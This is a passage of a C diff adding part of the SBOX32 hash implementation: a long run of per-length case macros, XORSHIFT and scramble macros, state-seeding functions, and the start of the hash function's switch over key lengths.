+#define case_116_SBOX32(hash,state,key) _SBOX32_CASE(116,hash,state,key)
+#else
+#define case_116_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 115
+#define case_115_SBOX32(hash,state,key) _SBOX32_CASE(115,hash,state,key)
+#else
+#define case_115_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 114
+#define case_114_SBOX32(hash,state,key) _SBOX32_CASE(114,hash,state,key)
+#else
+#define case_114_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 113
+#define case_113_SBOX32(hash,state,key) _SBOX32_CASE(113,hash,state,key)
+#else
+#define case_113_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 112
+#define case_112_SBOX32(hash,state,key) _SBOX32_CASE(112,hash,state,key)
+#else
+#define case_112_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 111
+#define case_111_SBOX32(hash,state,key) _SBOX32_CASE(111,hash,state,key)
+#else
+#define case_111_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 110
+#define case_110_SBOX32(hash,state,key) _SBOX32_CASE(110,hash,state,key)
+#else
+#define case_110_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 109
+#define case_109_SBOX32(hash,state,key) _SBOX32_CASE(109,hash,state,key)
+#else
+#define case_109_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 108
+#define case_108_SBOX32(hash,state,key) _SBOX32_CASE(108,hash,state,key)
+#else
+#define case_108_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 107
+#define case_107_SBOX32(hash,state,key) _SBOX32_CASE(107,hash,state,key)
+#else
+#define case_107_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 106
+#define case_106_SBOX32(hash,state,key) _SBOX32_CASE(106,hash,state,key)
+#else
+#define case_106_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 105
+#define case_105_SBOX32(hash,state,key) _SBOX32_CASE(105,hash,state,key)
+#else
+#define case_105_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 104
+#define case_104_SBOX32(hash,state,key) _SBOX32_CASE(104,hash,state,key)
+#else
+#define case_104_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 103
+#define case_103_SBOX32(hash,state,key) _SBOX32_CASE(103,hash,state,key)
+#else
+#define case_103_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 102
+#define case_102_SBOX32(hash,state,key) _SBOX32_CASE(102,hash,state,key)
+#else
+#define case_102_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 101
+#define case_101_SBOX32(hash,state,key) _SBOX32_CASE(101,hash,state,key)
+#else
+#define case_101_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 100
+#define case_100_SBOX32(hash,state,key) _SBOX32_CASE(100,hash,state,key)
+#else
+#define case_100_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 99
+#define case_99_SBOX32(hash,state,key) _SBOX32_CASE(99,hash,state,key)
+#else
+#define case_99_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 98
+#define case_98_SBOX32(hash,state,key) _SBOX32_CASE(98,hash,state,key)
+#else
+#define case_98_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 97
+#define case_97_SBOX32(hash,state,key) _SBOX32_CASE(97,hash,state,key)
+#else
+#define case_97_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 96
+#define case_96_SBOX32(hash,state,key) _SBOX32_CASE(96,hash,state,key)
+#else
+#define case_96_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 95
+#define case_95_SBOX32(hash,state,key) _SBOX32_CASE(95,hash,state,key)
+#else
+#define case_95_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 94
+#define case_94_SBOX32(hash,state,key) _SBOX32_CASE(94,hash,state,key)
+#else
+#define case_94_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 93
+#define case_93_SBOX32(hash,state,key) _SBOX32_CASE(93,hash,state,key)
+#else
+#define case_93_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 92
+#define case_92_SBOX32(hash,state,key) _SBOX32_CASE(92,hash,state,key)
+#else
+#define case_92_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 91
+#define case_91_SBOX32(hash,state,key) _SBOX32_CASE(91,hash,state,key)
+#else
+#define case_91_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 90
+#define case_90_SBOX32(hash,state,key) _SBOX32_CASE(90,hash,state,key)
+#else
+#define case_90_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 89
+#define case_89_SBOX32(hash,state,key) _SBOX32_CASE(89,hash,state,key)
+#else
+#define case_89_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 88
+#define case_88_SBOX32(hash,state,key) _SBOX32_CASE(88,hash,state,key)
+#else
+#define case_88_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 87
+#define case_87_SBOX32(hash,state,key) _SBOX32_CASE(87,hash,state,key)
+#else
+#define case_87_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 86
+#define case_86_SBOX32(hash,state,key) _SBOX32_CASE(86,hash,state,key)
+#else
+#define case_86_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 85
+#define case_85_SBOX32(hash,state,key) _SBOX32_CASE(85,hash,state,key)
+#else
+#define case_85_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 84
+#define case_84_SBOX32(hash,state,key) _SBOX32_CASE(84,hash,state,key)
+#else
+#define case_84_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 83
+#define case_83_SBOX32(hash,state,key) _SBOX32_CASE(83,hash,state,key)
+#else
+#define case_83_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 82
+#define case_82_SBOX32(hash,state,key) _SBOX32_CASE(82,hash,state,key)
+#else
+#define case_82_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 81
+#define case_81_SBOX32(hash,state,key) _SBOX32_CASE(81,hash,state,key)
+#else
+#define case_81_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 80
+#define case_80_SBOX32(hash,state,key) _SBOX32_CASE(80,hash,state,key)
+#else
+#define case_80_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 79
+#define case_79_SBOX32(hash,state,key) _SBOX32_CASE(79,hash,state,key)
+#else
+#define case_79_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 78
+#define case_78_SBOX32(hash,state,key) _SBOX32_CASE(78,hash,state,key)
+#else
+#define case_78_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 77
+#define case_77_SBOX32(hash,state,key) _SBOX32_CASE(77,hash,state,key)
+#else
+#define case_77_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 76
+#define case_76_SBOX32(hash,state,key) _SBOX32_CASE(76,hash,state,key)
+#else
+#define case_76_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 75
+#define case_75_SBOX32(hash,state,key) _SBOX32_CASE(75,hash,state,key)
+#else
+#define case_75_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 74
+#define case_74_SBOX32(hash,state,key) _SBOX32_CASE(74,hash,state,key)
+#else
+#define case_74_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 73
+#define case_73_SBOX32(hash,state,key) _SBOX32_CASE(73,hash,state,key)
+#else
+#define case_73_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 72
+#define case_72_SBOX32(hash,state,key) _SBOX32_CASE(72,hash,state,key)
+#else
+#define case_72_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 71
+#define case_71_SBOX32(hash,state,key) _SBOX32_CASE(71,hash,state,key)
+#else
+#define case_71_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 70
+#define case_70_SBOX32(hash,state,key) _SBOX32_CASE(70,hash,state,key)
+#else
+#define case_70_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 69
+#define case_69_SBOX32(hash,state,key) _SBOX32_CASE(69,hash,state,key)
+#else
+#define case_69_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 68
+#define case_68_SBOX32(hash,state,key) _SBOX32_CASE(68,hash,state,key)
+#else
+#define case_68_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 67
+#define case_67_SBOX32(hash,state,key) _SBOX32_CASE(67,hash,state,key)
+#else
+#define case_67_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 66
+#define case_66_SBOX32(hash,state,key) _SBOX32_CASE(66,hash,state,key)
+#else
+#define case_66_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 65
+#define case_65_SBOX32(hash,state,key) _SBOX32_CASE(65,hash,state,key)
+#else
+#define case_65_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 64
+#define case_64_SBOX32(hash,state,key) _SBOX32_CASE(64,hash,state,key)
+#else
+#define case_64_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 63
+#define case_63_SBOX32(hash,state,key) _SBOX32_CASE(63,hash,state,key)
+#else
+#define case_63_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 62
+#define case_62_SBOX32(hash,state,key) _SBOX32_CASE(62,hash,state,key)
+#else
+#define case_62_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 61
+#define case_61_SBOX32(hash,state,key) _SBOX32_CASE(61,hash,state,key)
+#else
+#define case_61_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 60
+#define case_60_SBOX32(hash,state,key) _SBOX32_CASE(60,hash,state,key)
+#else
+#define case_60_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 59
+#define case_59_SBOX32(hash,state,key) _SBOX32_CASE(59,hash,state,key)
+#else
+#define case_59_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 58
+#define case_58_SBOX32(hash,state,key) _SBOX32_CASE(58,hash,state,key)
+#else
+#define case_58_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 57
+#define case_57_SBOX32(hash,state,key) _SBOX32_CASE(57,hash,state,key)
+#else
+#define case_57_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 56
+#define case_56_SBOX32(hash,state,key) _SBOX32_CASE(56,hash,state,key)
+#else
+#define case_56_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 55
+#define case_55_SBOX32(hash,state,key) _SBOX32_CASE(55,hash,state,key)
+#else
+#define case_55_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 54
+#define case_54_SBOX32(hash,state,key) _SBOX32_CASE(54,hash,state,key)
+#else
+#define case_54_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 53
+#define case_53_SBOX32(hash,state,key) _SBOX32_CASE(53,hash,state,key)
+#else
+#define case_53_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 52
+#define case_52_SBOX32(hash,state,key) _SBOX32_CASE(52,hash,state,key)
+#else
+#define case_52_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 51
+#define case_51_SBOX32(hash,state,key) _SBOX32_CASE(51,hash,state,key)
+#else
+#define case_51_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 50
+#define case_50_SBOX32(hash,state,key) _SBOX32_CASE(50,hash,state,key)
+#else
+#define case_50_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 49
+#define case_49_SBOX32(hash,state,key) _SBOX32_CASE(49,hash,state,key)
+#else
+#define case_49_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 48
+#define case_48_SBOX32(hash,state,key) _SBOX32_CASE(48,hash,state,key)
+#else
+#define case_48_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 47
+#define case_47_SBOX32(hash,state,key) _SBOX32_CASE(47,hash,state,key)
+#else
+#define case_47_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 46
+#define case_46_SBOX32(hash,state,key) _SBOX32_CASE(46,hash,state,key)
+#else
+#define case_46_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 45
+#define case_45_SBOX32(hash,state,key) _SBOX32_CASE(45,hash,state,key)
+#else
+#define case_45_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 44
+#define case_44_SBOX32(hash,state,key) _SBOX32_CASE(44,hash,state,key)
+#else
+#define case_44_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 43
+#define case_43_SBOX32(hash,state,key) _SBOX32_CASE(43,hash,state,key)
+#else
+#define case_43_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 42
+#define case_42_SBOX32(hash,state,key) _SBOX32_CASE(42,hash,state,key)
+#else
+#define case_42_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 41
+#define case_41_SBOX32(hash,state,key) _SBOX32_CASE(41,hash,state,key)
+#else
+#define case_41_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 40
+#define case_40_SBOX32(hash,state,key) _SBOX32_CASE(40,hash,state,key)
+#else
+#define case_40_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 39
+#define case_39_SBOX32(hash,state,key) _SBOX32_CASE(39,hash,state,key)
+#else
+#define case_39_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 38
+#define case_38_SBOX32(hash,state,key) _SBOX32_CASE(38,hash,state,key)
+#else
+#define case_38_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 37
+#define case_37_SBOX32(hash,state,key) _SBOX32_CASE(37,hash,state,key)
+#else
+#define case_37_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 36
+#define case_36_SBOX32(hash,state,key) _SBOX32_CASE(36,hash,state,key)
+#else
+#define case_36_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 35
+#define case_35_SBOX32(hash,state,key) _SBOX32_CASE(35,hash,state,key)
+#else
+#define case_35_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 34
+#define case_34_SBOX32(hash,state,key) _SBOX32_CASE(34,hash,state,key)
+#else
+#define case_34_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 33
+#define case_33_SBOX32(hash,state,key) _SBOX32_CASE(33,hash,state,key)
+#else
+#define case_33_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 32
+#define case_32_SBOX32(hash,state,key) _SBOX32_CASE(32,hash,state,key)
+#else
+#define case_32_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 31
+#define case_31_SBOX32(hash,state,key) _SBOX32_CASE(31,hash,state,key)
+#else
+#define case_31_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 30
+#define case_30_SBOX32(hash,state,key) _SBOX32_CASE(30,hash,state,key)
+#else
+#define case_30_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 29
+#define case_29_SBOX32(hash,state,key) _SBOX32_CASE(29,hash,state,key)
+#else
+#define case_29_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 28
+#define case_28_SBOX32(hash,state,key) _SBOX32_CASE(28,hash,state,key)
+#else
+#define case_28_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 27
+#define case_27_SBOX32(hash,state,key) _SBOX32_CASE(27,hash,state,key)
+#else
+#define case_27_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 26
+#define case_26_SBOX32(hash,state,key) _SBOX32_CASE(26,hash,state,key)
+#else
+#define case_26_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 25
+#define case_25_SBOX32(hash,state,key) _SBOX32_CASE(25,hash,state,key)
+#else
+#define case_25_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 24
+#define case_24_SBOX32(hash,state,key) _SBOX32_CASE(24,hash,state,key)
+#else
+#define case_24_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 23
+#define case_23_SBOX32(hash,state,key) _SBOX32_CASE(23,hash,state,key)
+#else
+#define case_23_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 22
+#define case_22_SBOX32(hash,state,key) _SBOX32_CASE(22,hash,state,key)
+#else
+#define case_22_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 21
+#define case_21_SBOX32(hash,state,key) _SBOX32_CASE(21,hash,state,key)
+#else
+#define case_21_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 20
+#define case_20_SBOX32(hash,state,key) _SBOX32_CASE(20,hash,state,key)
+#else
+#define case_20_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 19
+#define case_19_SBOX32(hash,state,key) _SBOX32_CASE(19,hash,state,key)
+#else
+#define case_19_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 18
+#define case_18_SBOX32(hash,state,key) _SBOX32_CASE(18,hash,state,key)
+#else
+#define case_18_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 17
+#define case_17_SBOX32(hash,state,key) _SBOX32_CASE(17,hash,state,key)
+#else
+#define case_17_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 16
+#define case_16_SBOX32(hash,state,key) _SBOX32_CASE(16,hash,state,key)
+#else
+#define case_16_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 15
+#define case_15_SBOX32(hash,state,key) _SBOX32_CASE(15,hash,state,key)
+#else
+#define case_15_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 14
+#define case_14_SBOX32(hash,state,key) _SBOX32_CASE(14,hash,state,key)
+#else
+#define case_14_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 13
+#define case_13_SBOX32(hash,state,key) _SBOX32_CASE(13,hash,state,key)
+#else
+#define case_13_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 12
+#define case_12_SBOX32(hash,state,key) _SBOX32_CASE(12,hash,state,key)
+#else
+#define case_12_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 11
+#define case_11_SBOX32(hash,state,key) _SBOX32_CASE(11,hash,state,key)
+#else
+#define case_11_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 10
+#define case_10_SBOX32(hash,state,key) _SBOX32_CASE(10,hash,state,key)
+#else
+#define case_10_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 9
+#define case_9_SBOX32(hash,state,key) _SBOX32_CASE(9,hash,state,key)
+#else
+#define case_9_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 8
+#define case_8_SBOX32(hash,state,key) _SBOX32_CASE(8,hash,state,key)
+#else
+#define case_8_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 7
+#define case_7_SBOX32(hash,state,key) _SBOX32_CASE(7,hash,state,key)
+#else
+#define case_7_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 6
+#define case_6_SBOX32(hash,state,key) _SBOX32_CASE(6,hash,state,key)
+#else
+#define case_6_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 5
+#define case_5_SBOX32(hash,state,key) _SBOX32_CASE(5,hash,state,key)
+#else
+#define case_5_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 4
+#define case_4_SBOX32(hash,state,key) _SBOX32_CASE(4,hash,state,key)
+#else
+#define case_4_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 3
+#define case_3_SBOX32(hash,state,key) _SBOX32_CASE(3,hash,state,key)
+#else
+#define case_3_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 2
+#define case_2_SBOX32(hash,state,key) _SBOX32_CASE(2,hash,state,key)
+#else
+#define case_2_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 1
+#define case_1_SBOX32(hash,state,key) _SBOX32_CASE(1,hash,state,key)
+#else
+#define case_1_SBOX32(hash,state,key) /**/
+#endif
+
+#define XORSHIFT96_set(r,x,y,z,t) STMT_START { \
+ t = (x ^ ( x << 10 ) ); \
+ x = y; y = z; \
+ r = z = (z ^ ( z >> 26 ) ) ^ ( t ^ ( t >> 5 ) ); \
+} STMT_END
+
+#define XORSHIFT128_set(r,x,y,z,w,t) STMT_START { \
+ t = ( x ^ ( x << 5 ) ); \
+ x = y; y = z; z = w; \
+ r = w = ( w ^ ( w >> 29 ) ) ^ ( t ^ ( t >> 12 ) ); \
+} STMT_END
+
+#define SBOX32_SCRAMBLE32(v,prime) STMT_START { \
+ v ^= (v>>9); \
+ v ^= (v<<21); \
+ v ^= (v>>16); \
+ v *= prime; \
+ v ^= (v>>17); \
+ v ^= (v<<15); \
+ v ^= (v>>23); \
+} STMT_END
+
+#ifndef SBOX32_CHURN_ROUNDS
+#define SBOX32_CHURN_ROUNDS 5
+#endif
+#ifndef SBOX32_SKIP_MASK
+#define SBOX32_SKIP_MASK 0x3
+#endif
+
+#define _SBOX32_CASE(len,hash,state,key) \
+ /* FALLTHROUGH */ \
+ case len: hash ^= state[ 1 + ( 256 * ( len - 1 ) ) + key[ len - 1 ] ];
+
+
+SBOX32_STATIC_INLINE void sbox32_seed_state96 (
+ const U8 *seed_ch,
+ U8 *state_ch
+) {
+ const U32 *seed= (const U32 *)seed_ch;
+ U32 *state= (U32 *)state_ch;
+ U32 *state_cursor = state + 1;
+ U32 *sbox32_end = state + 1 + (256 * SBOX32_MAX_LEN);
+ U32 s0 = seed[0] ^ 0x68736168; /* sbox */
+ U32 s1 = seed[1] ^ 0x786f6273; /* hash */
+ U32 s2 = seed[2] ^ 0x646f6f67; /* good */
+ U32 t1,t2,i;
+
+ /* make sure we have all non-zero state elements */
+ if (!s0) s0 = 1;
+ if (!s1) s1 = 2;
+ if (!s2) s2 = 4;
+
+ /* Do a bunch of mix rounds to avalanche the seedbits
+ * before we use them for the XORSHIFT rng. */
+ for ( i = 0; i < SBOX32_CHURN_ROUNDS; i++ )
+ SBOX32_MIX3(s0,s1,s2,"SEED STATE");
+
+ while ( state_cursor < sbox32_end ) {
+ U32 *row_end = state_cursor + 256;
+ for ( ; state_cursor < row_end; state_cursor++ ) {
+ XORSHIFT96_set(*state_cursor,s0,s1,s2,t1);
+ }
+ }
+ XORSHIFT96_set(*state,s0,s1,s2,t2);
+}
+
+SBOX32_STATIC_INLINE void sbox32_seed_state128 (
+ const U8 *seed_ch,
+ U8 *state_ch
+) {
+ U32 *seed= (U32 *)seed_ch;
+ U32 *state= (U32 *)state_ch;
+ U32 *state_cursor = state + 1;
+ U32 *sbox32_end = state + 1 + (256 * SBOX32_MAX_LEN);
+ U32 s0 = seed[0] ^ 0x68736168; /* sbox */
+ U32 s1 = seed[1] ^ 0x786f6273; /* hash */
+ U32 s2 = seed[2] ^ 0x646f6f67; /* good */
+ U32 s3 = seed[3] ^ 0x74736166; /* fast */
+ U32 t1,t2,i;
+
+ /* make sure we have all non-zero state elements */
+ if (!s0) s0 = 1;
+ if (!s1) s1 = 2;
+ if (!s2) s2 = 4;
+ if (!s3) s3 = 8;
+
+ /* Do a bunch of mix rounds to avalanche the seedbits
+ * before we use them for the XORSHIFT rng. */
+ for ( i = 0; i < SBOX32_CHURN_ROUNDS; i++ )
+ SBOX32_MIX4(s0,s1,s2,s3,"SEED STATE");
+
+ while ( state_cursor < sbox32_end ) {
+ U32 *row_end = state_cursor + 256;
+ for ( ; state_cursor < row_end; state_cursor++ ) {
+ XORSHIFT128_set(*state_cursor,s0,s1,s2,s3,t1);
+ }
+ }
+ XORSHIFT128_set(*state,s0,s1,s2,s3,t2);
+}
+
+SBOX32_STATIC_INLINE U32 sbox32_hash_with_state(
+ const U8 *state_ch,
+ const U8 *key,
+ const STRLEN key_len
+) {
+ U32 *state= (U32 *)state_ch;
+ U32 hash = *state;
+ switch (key_len) {
+ default: return zaphod32_hash_with_state(state_ch, key, key_len);
+ case_256_SBOX32(hash,state,key)
+ case_255_SBOX32(hash,state,key)
+ case_254_SBOX32(hash,state,key)
+ case_253_SBOX32(hash,state,key)
+ case_252_SBOX32(hash,state,key)
+ case_251_SBOX32(hash,state,key)
+ case_250_SBOX32(hash,state,key)
+ case_249_SBOX32(hash,state,key)
+ case_248_SBOX32(hash,state,key)
+ case_247_SBOX32(hash,state,key)
+ case_246_SBOX32(hash,state,key)
+ case_245_SBOX32(hash,state,key)
+ case_244_SBOX32(hash,state,key)
+ case_243_SBOX32(hash,state,key)
+ case_242_SBOX32(hash,state,key)
+ case_241_SBOX32(hash,state,key)
+ case_240_SBOX32(hash,state,key)
+ case_239_SBOX32(hash,state,key)
+ case_238_SBOX32(hash,state,key)
+ case_237_SBOX32(hash,state,key)
+ case_236_SBOX32(hash,state,key)
+ case_235_SBOX32(hash,state,key)
+ case_234_SBOX32(hash,state,key)
+ case_233_SBOX32(hash,state,key)
+ case_232_SBOX32(hash,state,key)
+ case_231_SBOX32(hash,state,key)
+ case_230_SBOX32(hash,state,key)
+ case_229_SBOX32(hash,state,key)
+ case_228_SBOX32(hash,state,key)
+ case_227_SBOX32(hash,state,key)
+ case_226_SBOX32(hash,state,key)
+ case_225_SBOX32(hash,state,key)
+ case_224_SBOX32(hash,state,key)
+ case_223_SBOX32(hash,state,key)
+ case_222_SBOX32(hash,state,key)
+ case_221_SBOX32(hash,state,key)
+ case_220_SBOX32(hash,state,key)
+ case_219_SBOX32(hash,state,key)
+ case_218_SBOX32(hash,state,key)
+ case_217_SBOX32(hash,state,key)
+ case_216_SBOX32(hash,state,key)
+ case_215_SBOX32(hash,state,key)
+ case_214_SBOX32(hash,state,key)
+ case_213_SBOX32(hash,state,key)
+ case_212_SBOX32(hash,state,key)
+ case_211_SBOX32(hash,state,key)
+ case_210_SBOX32(hash,state,key)
+ case_209_SBOX32(hash,state,key)
+ case_208_SBOX32(hash,state,key)
+ case_207_SBOX32(hash,state,key)
+ case_206_SBOX32(hash,state,key)
+ case_205_SBOX32(hash,state,key)
+ case_204_SBOX32(hash,state,key)
+ case_203_SBOX32(hash,state,key)
+ case_202_SBOX32(hash,state,key)
+ case_201_SBOX32(hash,state,key)
+ case_200_SBOX32(hash,state,key)
+ case_199_SBOX32(hash,state,key)
+ case_198_SBOX32(hash,state,key)
+ case_197_SBOX32(hash,state,key)
+ case_196_SBOX32(hash,state,key)
+ case_195_SBOX32(hash,state,key)
+ case_194_SBOX32(hash,state,key)
+ case_193_SBOX32(hash,state,key)
+ case_192_SBOX32(hash,state,key)
+ case_191_SBOX32(hash,state,key)
+ case_190_SBOX32(hash,state,key)
+ case_189_SBOX32(hash,state,key)
+ case_188_SBOX32(hash,state,key)
+ case_187_SBOX32(hash,state,key)
+ case_186_SBOX32(hash,state,key)
+ case_185_SBOX32(hash,state,key)
+ case_184_SBOX32(hash,state,key)
+ case_183_SBOX32(hash,state,key)
+ case_182_SBOX32(hash,state,key)
+ case_181_SBOX32(hash,state,key)
+ case_180_SBOX32(hash,state,key)
+ case_179_SBOX32(hash,state,key)
+ case_178_SBOX32(hash,state,key)
+ case_177_SBOX32(hash,state,key)
+ case_176_SBOX32(hash,state,key)
+ case_175_SBOX32(hash,state,key)
+ case_174_SBOX32(hash,state,key)
+ case_173_SBOX32(hash,state,key)
+ case_172_SBOX32(hash,state,key)
+ case_171_SBOX32(hash,state,key)
+ case_170_SBOX32(hash,state,key)
+ case_169_SBOX32(hash,state,key)
+ case_168_SBOX32(hash,state,key)
+ case_167_SBOX32(hash,state,key)
+ case_166_SBOX32(hash,state,key)
+ case_165_SBOX32(hash,state,key)
+ case_164_SBOX32(hash,state,key)
+ case_163_SBOX32(hash,state,key)
+ case_162_SBOX32(hash,state,key)
+ case_161_SBOX32(hash,state,key)
+ case_160_SBOX32(hash,state,key)
+ case_159_SBOX32(hash,state,key)
+ case_158_SBOX32(hash,state,key)
+ case_157_SBOX32(hash,state,key)
+ case_156_SBOX32(hash,state,key)
